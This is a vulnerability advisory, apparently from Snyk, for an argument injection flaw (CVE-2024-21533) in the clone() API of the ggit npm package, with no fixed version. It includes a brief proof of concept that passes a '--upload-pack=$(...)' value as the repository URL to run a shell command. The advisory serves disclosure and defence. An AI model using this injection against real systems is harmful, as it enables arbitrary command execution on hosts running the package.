Arbitrary Argument Injection Affecting ggit package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-GGIT-5731319
- published 7 Oct 2024
- disclosed 22 Jun 2023
- credit Liran Tal
Introduced: 22 Jun 2023
CVE-2024-21533 Open this link in a new tabHow to fix?
There is no fixed version for ggit.
Overview
Affected versions of this package are vulnerable to Arbitrary Argument Injection via the clone() API, which allows specifying the remote URL to clone and the file on disk to clone to. The library does not sanitize for user input or validate a given URL scheme, nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.
PoC
const clone = require("ggit").cloneRepo;
clone({
url: "--upload-pack=$(touch /tmp/pwned)",
folder: "/tmp/dbd",
}).then(function () {
console.log("cloned repo to destination folder");
});